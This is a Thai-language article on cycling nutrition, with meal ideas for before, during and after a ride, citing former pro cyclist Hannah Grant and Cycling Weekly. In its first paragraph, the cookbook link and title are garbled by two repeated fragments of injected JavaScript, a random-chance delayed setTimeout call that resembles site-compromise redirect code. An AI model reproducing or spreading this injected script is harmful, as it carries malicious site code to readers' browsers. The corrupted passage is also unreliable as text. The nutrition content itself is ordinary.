Ride like a pro: นักปั่นมืออาชีพเขากินอะไรกัน

Hannah Grant อดีตนักปั่นมืออาชีพทีม Tinkoff-Saxo และปัจจุบันเป็นผู้เขียนหนังสือ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-Tour-Cookbook-Hannah-Grant%2Fdp%2F8799816903″ target=”_blank”>The Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Tour Cook Bookกล่าวไว้ว่า ถ้าคุณปั่นจักรยานเบริ์นแคลอรี่ไปถึง 4000-6000 cals แล้วละก็ คุณจะกินอะไรก็ได้ แต่สำหรับนักปั่นจักรยานมืออาชีพนั้นมันไม่ใช่ เราต้องเป็นมืออาชีพตลอด 24 ชั่วโมง เพราะ performance ของเราจะดีไม่ดีขึ้นอยู่กับอาหารที่เรารับเข้าไป ไม่ว่าจะเป็น เบอร์เกอร์ McDonald ช็อกโกแลตบาร์ ผักผลไม้และเนื้อโปรตีนล้วนมีผลต่อร่างกายนักปั่น

Ride like a pro: นักปั่นมืออาชีพเขากินอะไรกัน

นักปั่นควรกินอะไรและเมื่อไหร่

ช่วงก่อนการปั่น (Before your ride) ช่วงก่อนการปั่นควรจะรับอาหารมื้อเช้าก่อนเป็นอย่างแรก เพื่อเป็นแหล่งพลังงานในการปั่น เพราะร่างกายจะอยู่ในสภาพอดอาหารมาแล้ว 12 ชั่วโมง พลังงานและสารอาหารจะถูกนำไปใช้เพื่อการซ่อมแซมกล้ามเนื้อและนำเอากลูโครสไปเลี้ยงสมอง ยิ่งสำหรับคนที่ต้องการควบคุมน้ำหนักแล้ว คนที่รับมื้อเช้าส่วนมากจะสามารถความอยากและควบคุมน้ำหนักตัวเองได้ดี

พยายามเลือกคาร์โบไฮเดรตที่สามารถปล่อยพลังงานออกมาช้าๆ คงที่และต่อเนื่อง อย่างขนมปัง Whole-gain และอย่าลืมโปรตีน ผลไม้สักหรือผักเพื่อให้ได้สารอาหารครบหมู่ ถ้ารีบร้อนก็ลองใช้วิธีการปั่นผลไม้หรือผักรวมดู

เมนูมื้อเช้าที่แนะนำ

• พอริดจ์ (Porridge) หรือ โอ๊ตมีล (Oatmeal) ที่ผสมกับนมหรือจะเป็นนมถั่วเหลืองก็ได้ ผสมผลไม้สดตระกูลเบอรี่ กล้วยและเมล็ดธัญพืช
• ไข่คน (Scrambled egg) กับขนมปัง Whole-gain ปิ้งและตามมะเขือเทศปิ้งสุก
• สมูทตี้ (Smoothie) ผสมระหว่างกล้วย นม โอ๊ตและเนยถั่ว (Nut butter)

ช่วงแข่งขันหรือระหว่างฝึกซ้อมปั่น ถ้าเรามีแผนการฝึกหรือต้องป่ะนแข่งมากกว่า 1 ชั่วโมงแล้วละก็ ร่างกายเราต้องการแป้งเพื่อเป็นแหล่งพลังงานเพิ่มเติม และวิธีง่ายที่สุดคือ ดื่มจากเครื่องดื่มสปอร์ต ขนมธัญพืชแท่ง หรือ energy bar/gel แต่ถ้าจะให้ดี ควรลองอาหารพวกผลไม้อบแห้ง และกล้วยดู เพราะจะมีปริมาณคาร์โบฯ สูง

ปริมาณที่แนะนำสำหรับการรับคาร์โบฯ คือ 60g ทุกๆ หนึ่งชั่วโมง และอย่ารับมากเกินไป เพราะเดียวกระเพาะจะต้องทำงานหนักในการย่อย ต้องดึงพลังงานมาช่วยย่อยและต้องเอาไปใช้ปั่นด้วย หรืออาจจะมีอาการปวดท้อง ท้องมวลท้องเดินได้อีก

อาหารที่มีคาร์โบฯ 60g ที่แนะนำเช่น

• กล้วย 1 + Sport drink 500ml + ซีเรียลบาร์ 1
• อินทผลัมแห้ง 6 เม็ด + Sport drink 500ml
• เจลลี่กัม 6 เม็ด + โรลไส้มะเดือ (fig roll) 2 อัน

ช่วงจบการปั่น หน้าที่ที่ควรปฎิบัติอย่างแรกหลังจบการปั่นคือ การเติมพลังงานกลับคืน กล้ามเนื้อเราจะต้องการสารไกลโคเจนกลับคืนเพื่อเก็บแหล่งพลังงานเข้าคลังอีกครั้งและโปรตีนเพื่อใช้ซ่อมแซมกล้ามเนื้อ ดังนั้นในมื้ออาหารควรมี โปรตีน 20-40 กรัม และคาร์โบฯ 60-80 กรัม ผสมอยู่ และอย่าลืมผักผลไม้เพื่อรับวิตามิน และไฟเบอร์ ใช้ในการย่อย ช่วยเสริมสร้างกล้ามเนื้อ ภูมิคุ้มกันและเพื่อสุขภาพลำไส้

อาหาร Recovery ที่แนะนำเช่น

• มันฝรั่งอบและทูนาสลัด
• อกไก่ ข้าวสวยสุกและผักรวม
• สมูทตี้ผสมเนยถั่ว โยเกริ์ต กล้วย เบอรี่และเมล็ดเชีย/เมล็ดเจีย (Chia seed)

สารอาหาร (Nutrition) เป็นตัวแปรสำคัญสำหรับการปั่นจักรยาน มีผลกระทบกับ performance นักปั่นโดยตรง  ส่งผลถึงพลังงานที่สามารถผลิตออกมาระหว่างปั่นซ้อมหรือระหว่างการแข่งขัน และความสามารถในการพื้นตัว (recovery) เมื่อจบการปั่นเช่นกัน ด้วยเหตุนี้ ทีมจักรยานมืออาชีพจะมีการจ้างนักโภชนาการและเชฟทำอาหารมาโดยเฉพาะ เพื่อมาควบคุม คุณภาพลักษณะอาหาร และปริมาณที่นักปั่นในทีมตัวเองที่ควรจะได้รับ เพื่อใช้ในการผลิตพลังงาน ดึงเอา performance ระหว่างการฝึกซ้อมและการแข่งขันให้มากที่สุด นอกจากนี้ก็เพื่อการควบคุมจัดการน้ำหนักและดูแลสุขภาพ

อ้างอิง www.cyclingweekly.com